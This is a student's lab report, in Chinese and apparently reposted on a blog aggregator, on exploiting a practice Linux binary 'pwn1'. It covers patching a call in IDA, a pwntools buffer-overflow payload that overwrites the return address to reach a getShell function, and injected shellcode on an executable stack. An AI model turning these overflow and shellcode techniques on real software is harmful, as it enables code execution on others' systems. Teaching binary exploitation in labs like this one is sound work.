20232937文兆宇 2023-2024-2 《网络攻防实践》实践九报告

news2025/2/23 2:37:14

20232937文兆宇 2023-2024-2 《网络攻防实践》实践九报告

1.实践内容

1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

2.实践过程

默认用户名(yaoxi)
查看主函数
在这里插入图片描述
gets函数 栈溢出点
在这里插入图片描述
有后门,一眼re2text
在这里插入图片描述

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

这里用ida直接patch ,把调用foo变成调用后门就行,
后门地址为0x0804847D

在这里插入图片描述patch后:
在这里插入图片描述
在这里插入图片描述
保存运行,直接拿到权限
在这里插入图片描述

2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

用gdb进行调试,下断点在主函数,走到gets
在这里插入图片描述可以看到ebp的地址为xxxxe8 输入的地址为xxxxac
需要覆盖0x1c的垃圾数据
在这里插入图片描述编写脚本

from pwn import *
#context.log_level = "debug"
io=process("./pwn1")
binsh=0x804847D
#gdb.attach(io,'b *0x8048491')
payload=b'a'*(0x1c)+b'yaox'+p32(binsh)
io.sendline(payload)
io.interactive()

已经getshell
在这里插入图片描述这里再用gdb跟踪一下观察,在ret的时候返回地址已经变成binsh了
在这里插入图片描述

2.3注入一个自己制作的shellcode并运行这段shellcode

用系统生成一个32位的shellcode

asm(shellcraft.sh())
from pwn import *
#context.log_level = "debug"
io=process("./pwn1")
print(shellcraft.sh())
print(asm(shellcraft.sh()))

#binsh=0x804847D
#gdb.attach(io,'b *0x8048491')
#payload=b'a'*(0x1c)+b'yaox'+p32(binsh)
#io.sendline(payload)
#io.interactive()

在这里插入图片描述有RWX 直接读shellcode就行
在这里插入图片描述这里把shellcode写到栈里,(为了方便 关闭aslr 来读栈地址)

from pwn import *
#context.log_level = "debug"
io=process("./pwn1")
#print(shellcraft.sh())
#print(asm(shellcraft.sh()))

binsh=asm(shellcraft.sh())
#gdb.attach(io,'b *0x8048491')
payload=b'a'*(0x1c)+b'yaox'+p32(0xffffd110)+binsh
print(payload)
io.sendline(payload)
io.interactive()

在这里插入图片描述

3.学习中遇到的问题及解决

  • 问题1:靶机链接不上桥接网络
  • 问题1解决方案:重新配置该虚拟机的ip地址,并重启,可以成功连接到网络

4.实践总结

通过这次实验,我学习了二进制文件的简单知识,学会了gdb的使用和栈溢出漏洞,十分开心。

参考资料

  • 《Java程序设计与数据结构教程(第二版)》
  • 《Java程序设计与数据结构教程(第二版)》学习指导

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1658111.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数字化转型浪潮下,信创如何破浪前行,六招助你稳中求胜

信创改造落地过程中的六个难点及应对经验 技术生态迅猛发展,尚未成熟且多元化,信创技术栈应用经验匮乏,导致改造落地工作面临重重挑战。在此背景下,如何克服技术难题,推动信创改造顺利实施,成为业界亟待解决…

论文阅读:Real-Time 3D Model Acquisition

前言: 本文为记录自己在NeRF学习道路的一些笔记,包括对论文以及其代码的思考内容。 小编目前在探索3DAIGC和3D打印交叉研究,在这方面有想法、经验的朋友都可以在b站留言交流下!欢迎! 公众号: AI知识物语…

vue3+ts--实际开发之--table表格打印或者保存

vue3实现指定区域打印(导出)功能-主要是解决分页内容分割问题 一、 问题页面效果二、 Print.js相关属性 和使用1. 介绍2. 安装引入3. PrintJS参数配置表 三 、解决关于分页文字或者表格被分割问题,解决后如下:1. 设置一个自定义ta…

手机端如何生成gif?一个方法在线转换gif

当我们看到网络上好看个性的gif动画表情包的时候是不是也很想自己制作呢?很多小伙伴都不知道要怎么在手机上制作gif动图吧!下面,给大家分享一款操作简单无需下载的动态图片在线制作(https://www.gif.cn/)的操作工具&am…

巨资回流,量子投资热潮再起

一股新的信心和资金浪潮正在席卷量子计算产业。 2023年4月30日,澳大利亚联邦政府和昆士兰州政府宣布共同出资9.4亿澳元(约合6.2亿美元),支持美国初创企业PsiQuantum在布里斯班附近建设一台大型量子计算机。这项投资是最新的迹象之…

【OceanBase诊断调优】—— 磁盘性能问题导致卡合并和磁盘写入拒绝排查

适用版本 OceanBase 数据库 V3.x、V4.x 版本。 问题现象 OceanBase 集群合并一直未完成,同时 tsar 和 iostat 显示从凌晨 2:30 开始磁盘使用率一直是 100%。怀疑合并导致 IO 上升,IO 可能存在问题,observer.log 的确有大量报错 disk is hu…

哪里有高清视频素材网站?有没有视频素材网站?

在这个数字内容不断演化的时代,寻找优质的视频素材是每个创作者的必经之路。尤其是可商用和高清素材,它们对提升作品的视觉效果和吸引力至关重要。以下介绍几个国际知名的视频素材网站,旨在帮助您找到理想的视频资源。 1. 蛙学府 为订阅者提…

AOF持久化是怎么实现的?

AOF持久化是怎么实现的? AOF 日志三种写回策略AOF 重写机制AOF 后台重写总结参考资料 AOF 日志 试想一下,如果 Redis 每执行一条写操作命令,就把该命令以追加的方式写入到一个文件里,然后重启 Redis 的时候,先去读取这…

MySQL——变量的浮点数问题处理

新建链接,自带world数据库,里面自带city表格。 DQL #MySQL变量的浮点数问题处理 set dx3.14,dy3.25; select dxdy;#计算显示异常,会有很多00000的提示set resultdxdy; select result; 查询结果

HTML5/CSS3粒子效果进度条 超炫酷进度条动画源码

特效介绍 之前我已经分享了几款效果很不错的CSS3进度条插件,比如CSS3 Loading进度条加载动画特效、CSS3 3D进度条按钮 18款精美样式。今天我再来分享一款很有特色的HTML5/CSS3进度条应用。这款进度条插件在播放进度过程中出现粒子效果,就像一些小颗粒从…

C++进阶:map与set简单自实现

目录 1. map与set封装红黑树的方式1.1 大概实现思路1.2 红黑树模板抽象1.3 红黑树的迭代器 2. 红黑树模板的实现2.1 结点结构的定义2.2 红黑树迭代器的实现2.2.1 迭代器的结构2.2.2 迭代器的方法实现 2.3 树结构的定义2.4 红黑树接口实现2.4.1 插入2.4.2 查找2.4.3 迭代器相关 …

python3有serial库吗

一、概述 pyserial模块封装了对串口的访问。 二、特性 在支持的平台上有统一的接口。 通过python属性访问串口设置。 支持不同的字节大小、停止位、校验位和流控设置。 可以有或者没有接收超时。 类似文件的API,例如read和write,也支持readline等…

利用大语言模型(KIMI)生成OPC UA 信息模型

在大语言模型没有出现之前,人们更倾向使用图形化工具或者基于窗口的软件来构建信息模型,图形化工具能够直观地表达信息模型中各元素之间的相互关系。但是图形化工具也有缺点,当描述一个复杂的信息模型时,图形会变得非常复杂和庞大…

Hibernate认识

一、定义 Hibernate 是一种开源的 Java 对象关系映射 (ORM) 框架,用于将面向对象的领域模型持久化到关系数据库中。它为开发人员提供了一种简便的方法来操作数据库,而无需编写繁琐的 SQL 代码。 ORM(对象关系映射):Ob…

【XR806开发板试用】SPI驱动数码管显示

准备工作 安装repo 创建repo安装目录。 mkdir ~/bin下载repo wget https://storage.googleapis.com/git-repo-downloads/repo -P ~/bin/改变执行权限 chmod ax ~/bin/repo设置环境变量,在~/.bashrc文件的最后输入 export PATH~/bin:$PATH和export REPO_URLhttps://…

ANSI转义序列

一、ASCII码 ASCII(American Standard Code for Information Interchange,美国信息交换标准代码)最初的设计是一个7位的字符编码,使用了从0到127的数字来表示字符。这意味着它总共可以表示128个不同的字符。这包括了英文大小写字…

[鸟哥私房菜]4.首次登录与在线求助

第4章 首次登录与在线求助 4.1.3 X Window 与命令行模式的切换 通常我们称命令行界面为终端界面、Terminal 或 Console。Linux 默认的情况下会提供六个终端(Terminal)来让用户登录, 切换的方式为使用:[Ctrl] [Alt] [F1]~[F6] …

Joplin:自由、安全、多功能的笔记应用

什么是 Joplin? Joplin是一款免费、开源的笔记和待办事项应用程序,可以处理整理到笔记本中的大量笔记。这些笔记是可搜索的,可以直接从应用程序或从您自己的文本编辑器中复制、标记和修改。笔记采用Markdown 格式 功能亮点 功能丰富&#x…

超标量处理器设计:重排序缓存(ROB)

★超标量处理器的很多地方用到了重排序缓存,但是我对它不是很了解,所以我整理一下重排序缓存的知识点。 重排序缓存(ROB)在确保乱序执行的指令能够正确地完成和提交(Commit),也可以用来寄存器重命名。 ROB是一个先进先出的表,每个…

基于Springboot的线上教学平台

基于SpringbootVue的线上教学平台设计与实现 开发语言:Java数据库:MySQL技术:SpringbootMybatis工具:IDEA、Maven、Navicat 系统展示 用户登录 首页 学习资料 交流论坛 试卷列表 公告信息 后台登录 后台首页 学员管理 资料类型…